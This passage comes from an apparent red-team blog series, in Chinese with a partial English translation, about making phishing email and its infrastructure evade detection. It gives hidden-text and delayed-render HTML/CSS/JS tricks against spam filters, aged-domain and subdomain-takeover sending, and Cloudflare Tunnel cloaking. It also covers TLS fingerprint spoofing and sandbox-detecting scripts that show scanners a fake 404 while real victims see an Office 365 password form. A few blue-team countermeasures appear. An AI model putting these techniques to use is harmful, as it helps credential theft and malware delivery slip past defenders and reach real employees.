Composite messages use a multipart/alternative structure: put long benign text in text/plain, real content in HTML. Gateways often first-pass only the plain part for performance—the first scoring round is already dragged down.

#6 CSS pseudo-element content injection

<style>
.d1::after { content: "budget allocation quarterly review"; }
.d2::before { content: "team meeting scheduled for Thursday afternoon"; }
</style>

<div class="d1"></div>

<div class="d2"></div>

::before / ::after injection is harder to detect. Dilution lives in the stylesheet content property; ordinary extractors only read DOM textContent and never see CSSOM computed values.

#7 JavaScript delayed rendering

<div id="dilution_container" style="display:none">...</div>

<script>
setTimeout(function() {
  document.getElementById('dilution_container').style.display = 'block';
}, 5000);
</script>

JS delayed rendering is the detection-difficulty ceiling. The container starts hidden; JS reveals it after several seconds. Gateways generally do not wait for JS execution, so those tokens are ignored at scan time while the user client still renders them.

3.3 Corpus Selection

The corpus has three layers:

Layer 1 — General business (base ~500 entries): pure commercial copy—project approvals, meeting notices, etc. (e.g. “This quarter’s financial budget has been submitted for review”).
Layer 2 — Industry-specific (~200 entries): phrase sets tuned per industry, because the target industry’s gateway already routinely releases such terms as very high-ham features.
Layer 3 — Dynamically generated: call an LLM for the day’s or week’s business/political headlines and assemble scene-matched templates—possibly enough to slip past gateway cache lists.

Token selection criteria: SpamAssassin score negative, length over 5 characters, no URL links—all three required.

0x04 Unfinished Dimension Three: HTML5 Smuggling at the Traffic Layer

After bypassing gateway content filters, delivering executables (e.g. Cobalt Strike payload) still requires defeating network-traffic and attachment-feature detection.

HTML5 Smuggling offers a traffic-layer evasion idea: construct the file in the victim’s local browser memory rather than transmitting it directly over the wire.

No solid implementation path has been found yet for this goal; for now it remains a concept, so it is not expanded further. Search the relevant keywords for concrete techniques.

4.1 Landing-Page Adversarial Use

In TaiGong operations so far, practice is semantic dilution combined with the landing page.

Results are only moderate. The ideal end state would be: after the victim clicks into the landing page, the backend runs Smuggling while stuffing large amounts of benign business disclaimer–style ham text toward the gateway, effectively blocking security policy crawling and URL reputation marking.

0x05 Closing

Judging from open-source products, strategies are largely similar; it is unclear how far closed-source appliances will evolve once LLMs participate.

The more fundamental defensive line remains on the endpoint.

References:

Proofpoint: Introduction to HTML Smuggling, https://www.proofpoint.com/us/blog/threat-insight/introduction-html-smuggling
Proofpoint: HTML Smuggling Evolves - Threat Actor Adoption and Detection, https://www.proofpoint.com/us/blog/threat-insight/html-smuggling-evolves
SpamAssassin Bayes Scoring Documentation, https://cwiki.apache.org/confluence/display/SPAMASSASSIN/Bayes
Rspamd Documentation: Statistics and Bayes, https://rspamd.com/doc/configuration/statistic.html
Microsoft 365 Defender Anti-Phishing Policy Reference, https://learn.microsoft.com/en-us/defender-office-365/anti-phishing-policies-about
IcedID Banking Trojan Leveraging HTML Smuggling (2021), https://www.mcafee.com/blogs/other-blogs/mcafee-labs/icedid-banking-trojan-uses-html-smuggling-technique/
SpamAssassin Bayes Plugin source https://github.com/apache/spamassassin/blob/trunk/lib/Mail/SpamAssassin/Plugin/Bayes.pm
SpamAssassin CombineChi source: https://github.com/apache/spamassassin/blob/trunk/lib/Mail/SpamAssassin/Bayes/CombineChi.pm
Rspamd Bayes classifier source: https://github.com/rspamd/rspamd/blob/master/src/libstat/classifiers/bayes.c
Rspamd Neural Network plugin source: https://github.com/rspamd/rspamd/blob/master/src/plugins/lua/neural.lua
Rspamd Neural Network providers (LLM): https://github.com/rspamd/rspamd/blob/master/lualib/plugins/neural/providers/llm.lua
Rspamd Tokenizer source: https://github.com/rspamd/rspamd/blob/master/src/libstat/tokenizers/tokenizers.c
Rspamd Bayes autolearn: https://github.com/rspamd/rspamd/blob/master/lualib/lua_bayes_learn.lua
SpamAssassin NeuralNetwork Plugin source: https://github.com/apache/spamassassin/blob/trunk/lib/Mail/SpamAssassin/Plugin/NeuralNetwork.pm
Haraka Plugin Ecosystem: https://github.com/haraka/Haraka
yangdongchao/mailscanner (Python ML): https://github.com/yangdongchao/mailscanner

Series Navigation

邮件钓鱼攻防工程·2：不可溯源的基础设施

Tue, 07 Apr 2026 00:00:00 GMT

首发至公众号：Yofune安全研究欢迎关注。

隐匿与对抗——构建不可溯源的基础设施

本文是「邮件钓鱼攻防工程」系列的第二篇。上一篇我们拆解了传统钓鱼框架（GoPhish）的架构债务与检测面。这一篇深入基础设施层，从域名获取、网络拓扑、TLS指纹到探针，逐层拆解如何构建一套经得起威胁情报溯源、沙箱分析的基础设施。

0x01 基础设施的生存窗口

基于OPSEC守则红蓝对抗中基础设施的存活时间决定成败因素。用一台公网IP裸奔的VPS，挂一个刚注册12小时的域名，HTTPS还是自签证书——可以设想一下没有更改过特征的原生CS，这套设施的生存周期通常不超过10分钟。现代企业的纵深防御体系拥有多维度情报源：

邮件网关（SEG）：国内主流邮件安全网关（奇安信邮件安全网关、深信服邮件安全网关、Coremail论客）的域名信誉模块会综合域名注册时长、发信历史、SPF/DKIM配置状态等维度打分。网易企业邮、腾讯企业邮等云端服务则内置了基于发信行为画像的反垃圾引擎，对注册不足30天的新域名默认增加风险权重。国际厂商如Proofpoint TRAP（实时关联域名信誉与URL分类）、Spamhaus DBL的域名黑名单在国内也有一定部署，主要用于在华外企和跨国企业。
网络边界：下一代防火墙（华为HiSec、深信服AF、奇安信智慧防火墙）和上网行为管理设备（深信服AC、网康）的TLS解密模块可提取Client特征。国内多数甲方企业采购上网行为管理时已附带SSL审计功能，虽然性能损耗显著，但一个配置了SSL审计的网络出口确实能够生成JA3/JA4指纹用于识别非浏览器自动化工具。
端点与沙箱：国内EDR市场以奇安信天擎、深信服EDR、火绒企业版等等。邮件沙箱方面，奇安信天眼沙箱、微步在线OneSandbox（国内沙箱即服务代表）、安恒威胁情报沙箱等安全厂商的设备能力均会对邮件中的URL执行headless浏览器爬取，提取DOM结构和JavaScript探针返回内容。部分厂商沙箱已支持Chromium内核完整JavaScript执行（猜测？不确定）。
威胁情报中心：国内SOC团队常用的CT日志监控路径与海外不同，相比较直接订阅国外大厂的安全情报API实时推送在国内网络环境下不稳定，主流做法是通过奇安信威胁情报中心、微步在线ThreatBook的域名监控服务，设置与组织域名相似的新注册域名告警规则。阿里云和腾讯云DNSPod也提供了面向企业客户的域名注册监测API。

设施即第一要素，这就意味着，面向实战的钓鱼演练平台必须在架构上将反溯源和高隐匿作为第一等优先措施。

0x02 域名信誉工程：从获取到养护

基础设施的第一步不是买服务器，是买域名。域名的信誉级决定了邮件能否通过SEG的第一道关卡。

2.1 抛弃新域名，拥抱老域名

红队常见错误：为某次行动注册一个 corp-login-update.com 这样的新域名。致命问题在于域名年龄太短。有些安全厂商明确的会把域名注册时长当作核心因素之一。新域名注册后立刻发送含链接邮件，大概率进入垃圾箱或被直接隔离（550 5.7.1）。这一点在国内的189邮箱，136邮箱，163邮箱上都有经历。

实战获取策略：

老域名收购。 寻找已有数年历史、被域名注册商归类为"科技"或"商业"的正常域名，因为忘记续费而进入冷却期间。这类域名自带初始信誉。据The Record报道（2024年），某9年历史的老域名 digitalscrapbookingfreebies.com 冷却后被钓鱼团伙重新注册，成功绕过某州卫生机构的邮件网关。域名年龄数据来自Whois历史记录，信誉分数则继承自域名的DNS解析历史和SSL证书签发连续性。

子域名接管。 2024年2月，Guardio Labs研究员Nati Tal和Oleg Zaytsev揭露了代号"ResurrecAds"的大规模子域名接管活动（参见Guard.io研究论文）。攻击者扫描大型企业（MSN、VMware、McAfee、Cornell University、UNICEF等）的过期CNAME记录——例如 marthastewart.msn.com 的CNAME指向一个已废弃22年的域名 msnmarthastesweeps.com。重新注册该域名后，即可用 @marthastewart.msn.com 发信，直接继承MSN的顶级信誉。该活动高峰期每日发送约500万封恶意邮件，使用约22,000个唯一IP地址（含住宅ISP代理），每个劫持域名仅使用1-2天即轮换。Guardio Labs提供了免费检测工具（checker.guard.io）。

同态形似词（Homoglyph）与Punycode。 利用Unicode字符视觉混淆——拉丁字母 a (U+0061) 与西里尔字母 а (U+0430)，拉丁字母 o (U+006F) 与希腊字母 ο (U+03BF)。现代浏览器（Chrome 58+、Firefox 58+、Edge）对跨脚本混合有Punycode自动显示机制：当域名包含不同Unicode脚本集的字符时，地址栏强制展示 xn-- 编码形式。但2025年腾讯云安全团队的研究指出，单一脚本内（如全日语Hiragana字符集内）的同形混淆仍能绕过浏览器检测——例如用 ん (U+3093) 替代 /，构造 https://account.booking[.]comんdetail 这种在视觉上看起来像子目录结构的钓鱼URL。（至今仍然活跃在在Web3的攻击事件中）

蓝队对策：利用 confusables-inspector（GitHub开源工具，2025年6月更新）自动检测同形字符；在SEG侧对邮件正文中所有URL进行Punycode解码检测。

2.2 邮件认证协议的正确配置

SPF、DKIM、DMARC已是必选项而非可选项。如果想让钓鱼邮件进入受害者收件箱，这是条件之一。

SPF的include:链劫持：SubdoMailing活动展示了SPF的include:机制可作为攻击面——当企业SPF记录引用了一个已废弃的外部域名，攻击者注册该域名后即可注入恶意内容。
DKIM的选择长度：建议使用rsa-sha256且密钥长度至少2048位。1024位密钥面临暴力破解风险（参考CVE-2023-50387中DNSSEC密码学分析的前车之鉴）。
DMARC策略：自建邮件网关中这是不可或缺的一部分。应将DMARC设为 v=DMARC1; p=reject;——这看似严苛的策略反而增加了域名的"可信度"，因为显得域名所有者非常重视邮件安全。

0x03 网络拓扑：别让蓝队摸到你的真实IP

长久以来，直接将钓鱼平台的公网IP写入域名A记录意味着：蓝队可封禁IP、扫描开放端口、通过ASN溯源VPS供应商并向IDC提交Abuse投诉封机，这一点在国内云依然有效，参考华为云/腾讯云/ 阿里云的策略，不仅有来自内部的扫描封机，外部同样如此。

3.1 Cloudflare Tunnel：从被动入站到主动出站

当初在构建TaiGong项目的时候这一点也是参考了一些国外的技术文章，总的来说就是利用隧道技术完成对整个基础设施的隐藏。Nginx在一定程度上能力有限，于是我们摒弃传统反向代理，全面采用Cloudflare Tunnel。

工作原理： 在服务器本地运行 cloudflared 守护进程，主动向Cloudflare边缘节点发起出站HTTP/2或QUIC长连接（默认连接到7844端口）。服务器不需要开放任何入站端口——防火墙安全组可以配置为"拒绝所有入站流量"。当请求到达Cloudflare边缘节点时，通过已建立的隧道复用流将请求透传至本地回环地址（127.0.0.1:80）。

核心收益：

CDN前置鉴权： 仅靠Tunnel还不够——蓝队拿到域名后仍可用脚本进行请求调用，导致数据库产生大量脏数据，据此可以参考Cs伪装上线一样的反制手法。TaiGong的解决方案是结合Cloudflare Transform Rules：在边缘节点为所有合法请求注入自定义Header，后端的TaiGong引擎只在验证Header正确后才返回钓鱼页面。没有令牌的请求（测绘引擎、沙箱爬虫、直接扫描）被302重定向到无害目标（如 https://www.baidu.com），从根源上尽量避免空间引擎扫描以及溯源追踪。

蓝队对策：检测异常高频出站连接到 [IP范围]:7844（Cloudflare Tunnel端口），通过流量设备识别Tunnel特征流量，关注观察请求包中的不常见头信息。

3.2 边缘层环境感知过滤

在Cloudflare Workers或Edge Functions实现第一道过滤逻辑，基于请求特征选择性回源：

ASN黑名单：

ASN黑名单：过滤云服务商和安全公司的ASN——这些IP段几乎不可能是真实受害者。
- 阿里云（AS45102、AS37963）：国内最大的公共云，覆盖华东1/2、华北1/2/3、华南1等地域，几乎所有的国内商业SEG沙箱和第三方邮件安全服务商的爬虫节点都部署在阿里云上。
- 腾讯云（AS45090、AS132203）：腾讯云公网出口，腾讯企业邮和微信企业邮箱的安全检测模块的沙箱流量从此出站。

- 华为云（AS55967）：华为云公网出口，部分政企客户的邮件安全。
安全厂商ASN：奇安信深信服、知道创宇扫描节点IP段——这些厂商的邮件沙箱和威胁情报爬虫通常有固定的出口IP段，但是我并没有找到具体CIDR范围。
以上参考资料均来源于：https://bgp.tools/
1. Bot Management Score：利用Cloudflare的Bot Management引擎，对分数低于30的请求返回虚假内容。
1. Geo-IP限制：根据演练目标受众的地理位置限制来源国家，如果你已知目标的IPC范围地址，那么可以直接限制到市以内，超出范围的请求直接丢弃。（类似后文实现的地理围栏功能，如果使用CDN的话就可以直接实现。）

0x04 TLS指纹对抗：JA3/JA4与uTLS逃逸

这部分是攻防博弈中最底层的技术细节——TCP/IP之上的第一层。

4.1 ClientHello指纹原理

客户端发起HTTPS连接时发送ClientHello报文，包含TLS版本、密码套件（Cipher Suites）、扩展列表（Extensions）、椭圆曲线（Elliptic Curves）、压缩方法等字段。不同软件栈发送的ClientHello结构存在固定差异：

JA3（Salesforce 2017提出）：将特定字段串联后MD5哈希，生成32字符指纹。例如Go的默认JA3指纹为 771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,0-23-65281-10-11-35-16-5-13-18-51-45-43-27-21,29-23-24,0。
JA4（FoxIO 2023提出）：更结构化的分级指纹方案，格式为 t13i<cs>_<ext>_<groups>，移除了MD5哈希，支持对TLS握手的两侧分别指纹化（JA4 Server / JA4 Client / JA4S / JA4XSS等）。

如果使用 Go 标准库 net/http 或 gomail 发起请求，网络流量携带Go独有的JA3/JA4指纹。（开源方案如Zeek的ja4 plugin、Suricata的JA3支持；国内商业方案如奇安信天眼、绿盟NTA、科来网络分析系统的TLS指纹检测模块，还有部分厂商的全流量设备等）在边界看到陌生的外联IP正频繁特定的指纹包进行TLS握手，且行为类似POST凭证收集，可立刻阻断。

4.2 uTLS浏览器模仿

TaiGong借鉴了 refraction-networking/utls（GitHub，Go 1.21+）的方案。uTLS是Go crypto/tls 的fork，允许程式化地对ClientHello进行精确控制：

预置浏览器模板：HelloChrome_Auto、HelloFirefox_Auto、HelloSafari_16_0、HelloIOS_14 等，精确模仿对应浏览器的密码套件顺序、扩展列表和椭圆曲线组合。
随机化指纹：HelloRandomized 从uTLS所有支持的密码套件和扩展中随机选取组合，适用于绕过黑名单式检测。
自定义指纹：HelloCustom 允许完全手动构建ClientHello——可以先捕获真实浏览器的ClientHello报文（通过tcpdump或Wireshark），然后用 Fingerprinter.FingerprintClientHello() 反向解析为uTLS配置，再 ApplyPreset() 实现精确复制。

重要限制：uTLS目前只能在ClientHello阶段模仿浏览器。tls-client 尽管实现了服务器Hello验证阶段的类似模仿，但成熟度不如uTLS。另外Go标准库缺少TLS 1.3的某些扩展支持（如Compressed Certificate），导致部分Chrome模板在特定服务器握手失败。参考GitHub Issue [#321](javascript:😉。

4.3 GREASE对抗GREASE

RFC 8701定义了TLS GREASE（Generate Random Extensions And Sustain Extensibility）机制，本意是确保协议扩展的向后兼容性。Chrome率先在ClientHello中随机插入GREASE密码套件（如 0x0A0A）和扩展类型，防止服务器因遇到未知值而中断连接。

有趣的是，GREASE反而让JA3检测变得更加困难：因为Chrome每次连接可能发送不同的GREASE值，JA3指纹也随之变化。

红队进阶手法：在uTLS自定义ClientHello中主动加入GREASE值，使指纹更接近真实Chrome。但需要维持一致性——AI模型（如PerimeterX、DataDome的ML分类器）不仅看单次握手指纹，还分析整个会话的TLS行为一致性（例如握手完成后发送的HTTP/2 SETTINGS帧序列是否与浏览器一致）。

0x05 载荷层对抗：多级探测页面

基础设施隐匿的最后防线在着陆页本身。taigong在这一层采用的是客户端JS探针 + 服务端多因子联判的双层架构。这篇内容部分照搬了TaiGong项目中《第6章高级识别之争》的研究笔记，目前不是很玄乎，也不是特别优秀的构思，刚好发出来举个栗子了。

5.1 客户端双层探针：magic.js + finger.js

taigong在每个落地页模板中注入了两个独立的客户端脚本，一个magic.js，一个fing.js。他们的作用大概如下：

.检测 navigator.webdriver

检测 UA 中的 HeadlessChrome/PhantomJS 等关键词
检测 Chrome DevTools Protocol 是否已连接
检测 navigator.plugins 是否为空
检测 navigator.languages 是否存在
检测 window._phantom、window._selenium 等自动化框架属性
检测 window.outerWidth/outerHeight 是否为零
检测 Notification.permission 与权限 API 查询结果是否矛盾
检测 WebGL 渲染器是否为 SwiftShader/llvmpipe 等软件渲染器
检测 performance.timing 的 DOM 解析耗时是否短于 5ms

判定逻辑：signals >= 2 （默认阈值）时，直接document.write将整个页面替换为Nginx标准 404 HTML。100ms后setTimeout再跑一次，覆盖异步加载的检测（如权限API）。检测到沙箱后还会向服务端发一个/report?id=xxx&reason=sandboxer的像素上报用于统计。

红队视角：这个探针的工程取舍是明确的——宁愿漏报也不误报，因为在我看来钓鱼演练更重要的是效果送达率。阈值设为2意味着单个异常信号（如仅UA匹配了HeadlessChrome）不会触发阻断，只有两个以上独立维度同时命中才判定为沙箱。在Taigong的实际使用中，后端控制了这一点，你可以通过修改threshold变量调整灵敏度，建议范围1-3。

蓝队视角：magic.js的检测逻辑是静态的、完全可溯源的的。它检测不到以下场景：

使用真实Chrome实例（非headless模式）的沙箱——WebDriver标记被抹除、WebGL渲染器正常、插件存在
从真实办公网络IP出站的爬虫——不命中任何静态检测项
puppeteer-extra-plugin-stealth + 真实浏览器实例的组合——第1、3、4、5项全部被绕过

这从反面说明了为什么服务端联判必不可少。

fing.js（客户端环境采集） — 与magic.js同时注入的第二个脚本，在magic.js判定非沙箱后执行。采集内容包括：

Canvas指纹：固定文本+固定颜色+固定矩形的canvas.toDataURL()哈希值——不同浏览器/OS/GPU组合产生不同的渲染结果
浏览器属性：navigator.userAgent、navigator.language、navigator.platform
屏幕属性：`screen.width×screen.height```
环境属性：时区偏移（new Date().getTimezoneOffset()）、触屏支持（'ontouchstart' in window）、Cookie启用（navigator.cookieEnabled）、DNT设置（navigator.doNotTrack）

采集数据通过POST发送到后端端点，服务端将其与click事件关联写入数据库，用于后续的受害者行为画像和风险评分。

5.2 服务端多因子联判：CheckEvasion

taigong在服务端函数中执行了以下判定，优先级从高到低：

JA4黑名单：客户端TLS指纹精确匹配已知扫描器/沙箱库（如Evilginx的t13d191000_9dc949149365_e7c285222651）
IP黑名单：支持精确IP、CIDR、通配符前缀三种格式
云厂商IP阻断：内置200+条CIDR规则覆盖AWS/Azure/GCP/阿里云/腾讯云
爬虫UA拦截：35个已知Bot UA关键词，从Googlebot/Bingbot到python-requests/Go-http-client到VirusTotal/Censys，常见的都在添加。
三级地理围栏：支持国家级（CN）、省级（CN-广东）、市级（CN-广东-深圳），多区域逗号分隔混用

判定为可疑后，根据配置执行：返回302重定向到合法网站、返回伪装Nginx 404、或照常显示。

再举个实际场景的例子，假设一次针对某公司财务部的演练，邮件伪装成"年度审计通知"，落地页是伪造的 Office 365 登录框。

第一层——服务端请求还没到落地页就被拦）

部分邮件网关在用户收到邮件之前就已经在后台访问了这个链接。请求到达 taigong 服务端时：

云厂商 IP 阻断：出口 IP 落在腾讯CDN的 CIDR 段里 → 如果开启了云厂商IP拦截，直接返回302跳转到百度首页。网关看到的是"这个链接会跳转到百度"，判定安全。
即使云厂商检测没开，UA 检测：TencentCloud的 UA 里含"TencentCloud/Tencent-Cloud"关键词，命中爬虫黑名单 → 同样被拦截。

第二层——magic.js（服务端没拦住，落地页已返回，但沙箱看不到真内容）

假设换了个高级沙箱——从真实办公网络 IP 出站、自定义了正常浏览器 UA、没命中 JA4 黑名单——成功拿到了落地页 HTML。此时 magic.js 开始执行：

navigator.webdriver === true → +1（沙箱用 Selenium/Playwright 驱动）
navigator.plugins.length === 0 → +1（headless 没装插件）
加载时间 < 5ms → +1（机器秒开 DOM）

signals = 3 >= 2，触发阻断。document.write 把浏览器的整个 DOM 替换成：

404 Not Found

同时发一个像素上报：/report?id=Ab7Xk2Q&reason=sandboxer。

沙箱的视角：它以为自己访问了一个已经下线的页面（404），什么钓鱼特征都没抓到。沙箱判定：安全。

真实用户的视角：收到邮件，点击链接，浏览器正常打开落地页。magic.js 跑了一遍——navigator.webdriver 是 false，插件正常加载，渲染耗时正常几百毫秒——signals = 0，不触发阻断。页面正常显示 Office 365 登录框。输密码、提交、跳转。全程无感。

所以这套设计的实际设想是：

不是"阻止沙箱访问"，而是让沙箱和真人看到不同的东西。沙箱看到 Nginx 404，真人看到钓鱼表单。两层防线叠加后，沙箱要在服务端绕过 IP/UA/JA4 三层过滤，还要在客户端同时命中不到 2 个检测信号，看起来反溯源设计是不是很合理？这套设计仍然有弊端性存在。

5.3 这个方案的实际效果与局限性

局限性：

没有行为分析：magic.js不做鼠标轨迹追踪、不做滚动检测、不做Fitts定律分析。市面上有些商业反检测方案把这些写进白皮书，但工程上行为分析延迟高、误报多、资源消耗大，在钓鱼场景下性价比不如静态检测。
没有延迟渲染：Landing Page的HTML是完整返回的，magic.js在页面已渲染后执行替换。SEG如果能dump出magic.js执行前的DOM快照，仍然能看到钓鱼表单。Sandbox的进化方向恰好是捕获初态DOM。
不是"叠加态"：叠加态这只是我一种之前的设想，目前并没有找到一个好的思路进行实现。目前的实际逻辑是"检测到沙箱后销毁页面"，而不是"不确定身份时不显示"。这个区别在工程上很关键——初次响应不含任何恶意元素的"真正叠加态"需要服务端在收到客户端探针回调后才下发钓鱼内容，这带来了额外的延迟和复杂度。

以上就是所有我对钓鱼行动安全的基础设施建设看法，但在如今的攻防对抗中，即使基础设施完美隐匿，一旦进入内容对抗阶段，传统的静态HTML和硬编码话术依然会被AI分类器（如Microsoft Defender的ML模型、Exchange Safety AI）无情击杀。下一篇将深入邮件正文的对抗：多态HTML与语义稀释引擎实现，让每封钓鱼邮件都成为独一无二的指纹，尝试调试贝叶斯和NLP分类器的防线。

参考资料

SubdoMailing Research — Guardio Labs, Nati Tal & Oleg Zaytsev, February 2024. https://guard.io/labs/subdomailing-thousands-of-hijacked-major-brand-subdomains-found-bombarding-users-with-millions
Cloudflare Tunnel Documentation. https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/
JA4 Network Fingerprinting — FoxIO LLC. https://github.com/FoxIO-LLC/ja4
ja4-nginx-module — FoxIO. https://github.com/FoxIO-LLC/ja4-nginx-module
Refraction Networking uTLS. https://github.com/refraction-networking/utls
RFC 8701 — TLS GREASE. https://datatracker.ietf.org/doc/html/rfc8701
Cisco Talos Sender Maturity FAQ. https://www.cisco.com/c/en/us/support/docs/security/email-security-appliance/215660-sdr-sender-maturity-faq.pdf
Proofpoint Emerging Threats Intelligence. https://www.proofpoint.com/us/products/advanced-threat-protection/et-intelligence
IDN Homograph Attack & Japanese Character Confusion — Tencent Cloud Security, 2025. https://cloud.tencent.com/developer/article/2597395
confusables-inspector — OpenSecurity, 2025. https://github.com/opensecurity/confusables-inspector
Certifiably Vulnerable: Using Certificate Transparency Logs for Target Reconnaissance — Pletinckx et al., IEEE EuroS&P 2023. https://doi.org/10.1109/EuroSP57164.2023.00038
Don’t Phish-let Me Down: FIDO Authentication Downgrade — Proofpoint US. https://www.proofpoint.com/us/blog/threat-insight/dont-phish-let-me-down-fido-authentication-downgrade
FIDO authentication undermined — CSO Online. https://www.csoonline.com/article/4040128/fido-undermined.html
Puppeteer Stealth Anti-Detection. https://scrapingant.com/blog/avoid-detection-with-puppeteer-stealth
Impact Assessment of Adversary-in-the-Middle Attack Evilginx Bypassing 2FA — Springer ICR 2025. https://link.springer.com/chapter/10.1007/978-3-031-95652-2_14
Browser Fingerprinting Techniques. https://fingerprint.com/blog/browser-fingerprinting-techniques/
Aged-domain acquisition bypass — The Record / newestek.com. https://cybersecurityinfocus.com/?p=8455

系列导航

Email Phishing Eng. · 2: Untraceable Infra

Tue, 07 Apr 2026 00:00:00 GMT

First published on the WeChat official account: Yofune Security Research. Follow for more.

Stealth and Adversarial Defense—Building Untraceable Infrastructure

This is Part 2 of the Email Phishing Engineering series. Part 1 broke down the architectural debt and detection surface of traditional phishing frameworks (GoPhish). This article goes deep into the infrastructure layer—from domain acquisition and network topology through TLS fingerprints to probes—layer by layer on how to build infrastructure that withstands threat-intel attribution and sandbox analysis.

0x01 Infrastructure Survival Windows

Under OPSEC rules in red/blue engagement, infrastructure lifetime decides outcomes. A bare public-IP VPS, a domain registered 12 hours ago, HTTPS with a self-signed cert—picture a stock Cobalt Strike with unaltered fingerprints: that stack’s survival window is often under 10 minutes. Modern enterprise defense-in-depth draws on multi-dimensional intel:

Secure Email Gateways (SEG): Domain-reputation modules in major Chinese mail security gateways (QiAnXin Mail Security Gateway, Sangfor Mail Security Gateway, Coremail) score on registration age, sending history, SPF/DKIM status, and more. Cloud services such as NetEase Enterprise Mail and Tencent Enterprise Mail embed anti-spam engines based on sending-behavior profiles and default higher risk weight for domains under 30 days old. International products such as Proofpoint TRAP (real-time correlation of domain reputation and URL classification) and Spamhaus DBL are also deployed to some degree in China, mainly for foreign-invested and multinational firms.
Network edge: Next-gen firewalls (Huawei HiSec, Sangfor AF, QiAnXin Smart Firewall) and web content / internet behavior management appliances (Sangfor AC, NetentSec) with TLS decryption can extract client traits. Many Chinese enterprises already get SSL audit with their internet behavior management purchases; despite significant performance cost, an egress with SSL audit can produce JA3/JA4 fingerprints that identify non-browser automation tools.
Endpoint and sandbox: Domestic EDR includes QiAnXin Tianqing, Sangfor EDR, Huorong Enterprise, and others. For mail sandboxes—QiAnXin SkyEye Sandbox, ThreatBook OneSandbox (a domestic sandbox-as-a-service representative), DBAPPSecurity threat-intel sandboxes, and similar—vendors crawl URLs in mail with headless browsers, extract DOM structure, and return JavaScript probe content. Some vendor sandboxes already support full JavaScript execution on Chromium kernels (educated guess; not fully confirmed).
Threat intelligence centers: Domestic SOC CT-log monitoring paths differ from overseas ones. Subscribing directly to major foreign security-intel APIs for real-time push is often unstable under domestic network conditions; the mainstream approach is domain-monitoring services from QiAnXin Threat Intelligence Center and ThreatBook, with alert rules for newly registered domains similar to the organization’s own. Alibaba Cloud and Tencent Cloud DNSPod also offer domain-registration monitoring APIs for enterprise customers.

Infrastructure is the first-order factor. That means a battle-oriented phishing exercise platform must treat anti-attribution and high stealth as first-class priorities in architecture.

0x02 Domain Reputation Engineering: From Acquisition to Care

Step one for infrastructure is not buying a server—it is buying a domain. Domain reputation decides whether mail clears the SEG’s first gate.

2.1 Drop Fresh Domains; Embrace Aged Domains

A common red-team mistake: register something like corp-login-update.com for a single op. The fatal issue is domain age. Some security vendors treat registration duration as a core factor. Sending linked mail immediately after registration often lands in junk or direct quarantine (550 5.7.1). This has been observed on 189, 136, and 163 mail in China.

Operational acquisition strategies:

Aged domain acquisition. Look for domains with multi-year history, categorized by registrars as “tech” or “business,” that entered cooling after non-renewal. These come with initial reputation. Per The Record (2024), a 9-year-old domain digitalscrapbookingfreebies.com was re-registered after cooling by a phishing group and successfully bypassed a state health agency’s mail gateway. Age data comes from Whois history; reputation scores inherit DNS resolution history and continuity of SSL certificate issuance.

Subdomain takeover. In February 2024, Guardio Labs researchers Nati Tal and Oleg Zaytsev exposed a large-scale subdomain takeover campaign codenamed “ResurrecAds” (see Guard.io research). Attackers scanned expired CNAME records of large enterprises (MSN, VMware, McAfee, Cornell University, UNICEF, etc.)—e.g. marthastewart.msn.com CNAME pointing to the 22-year-abandoned domain msnmarthastesweeps.com. Re-registering that domain enabled mail from @marthastewart.msn.com, inheriting MSN top-tier reputation. At peak the campaign sent ~5 million malicious messages per day from ~22,000 unique IPs (including residential ISP proxies), rotating each hijacked domain after only 1–2 days. Guardio Labs provides a free detection tool (checker.guard.io).

Homoglyphs and Punycode. Visual confusion via Unicode—Latin a (U+0061) vs Cyrillic а (U+0430), Latin o (U+006F) vs Greek ο (U+03BF). Modern browsers (Chrome 58+, Firefox 58+, Edge) force Punycode display for cross-script mixes: when a domain mixes characters from different Unicode scripts, the address bar shows the xn-- form. But 2025 research from Tencent Cloud Security notes that within a single script (e.g. full Japanese Hiragana), homoglyph confusion can still bypass browser detection—e.g. substituting ん (U+3093) for / to build phishing URLs like https://account.booking[.]comんdetail that visually resemble path structure. (Still active in Web3 attack incidents.)

Blue team countermeasures: Use confusables-inspector (open-source on GitHub, updated June 2025) to auto-detect confusable characters; on the SEG side, Punycode-decode all URLs in message bodies for inspection.

2.2 Correct Configuration of Mail Authentication Protocols

SPF, DKIM, and DMARC are mandatory, not optional. If you want phishing mail in the victim’s inbox, this is one of the conditions.

SPF include: chain hijacking: The SubdoMailing campaign showed SPF’s include: mechanism as an attack surface—when an enterprise SPF record references an abandoned external domain, registering that domain lets an attacker inject malicious authorization.
DKIM key length: Prefer rsa-sha256 with keys of at least 2048 bits. 1024-bit keys face brute-force risk (see cryptographic analysis lessons from CVE-2023-50387 on DNSSEC).
DMARC policy: On a self-hosted mail gateway this is indispensable. Set DMARC to v=DMARC1; p=reject;—this seemingly harsh policy actually increases the domain’s “trustworthiness,” because it signals that the owner takes mail security seriously.

0x03 Network Topology: Don’t Let the Blue Team Touch Your Real IP

For a long time, writing the phishing platform’s public IP into the domain A record meant: the blue team can ban the IP, scan open ports, attribute via ASN to the VPS provider, and file Abuse with the IDC to get the host killed. That still works on domestic clouds—see Huawei Cloud / Tencent Cloud / Alibaba Cloud policies: internal scanning and external abuse both shut machines down.

3.1 Cloudflare Tunnel: From Passive Inbound to Active Outbound

When building the TaiGong project we also drew on overseas technical write-ups. Broadly: use tunneling to hide the entire infrastructure. Nginx alone is limited, so we abandoned traditional reverse proxies and adopted Cloudflare Tunnel end-to-end.

How it works: Run the cloudflared daemon on the server; it actively opens outbound HTTP/2 or QUIC long-lived connections to Cloudflare edge nodes (default to port 7844). The server needs no open inbound ports—security groups can deny all inbound. When a request hits a Cloudflare edge, it is multiplexed over the established tunnel to a local loopback address (127.0.0.1:80).

Core benefits:

CDN edge auth: Tunnel alone is not enough—once the blue team has the domain they can still script requests and flood the database with junk. Think of countermeasures similar to Cobalt Strike beacon camouflage. TaiGong’s solution combines Cloudflare Transform Rules: the edge injects a custom Header on all legitimate requests; the backend TaiGong engine only serves the phishing page after validating that Header. Tokenless requests (mappers, sandbox crawlers, direct scanners) get a 302 to a benign target (e.g. https://www.baidu.com), reducing spatial-engine scanning and attribution at the root.

Blue team countermeasures: Detect abnormal high-frequency outbound connections to [IP range]:7844 (Cloudflare Tunnel port); identify Tunnel-characteristic traffic on network appliances; watch for uncommon headers in request packets.

3.2 Edge Environment-Aware Filtering

Implement the first filter layer in Cloudflare Workers or Edge Functions; selectively origin-fetch based on request traits:

ASN denylist:

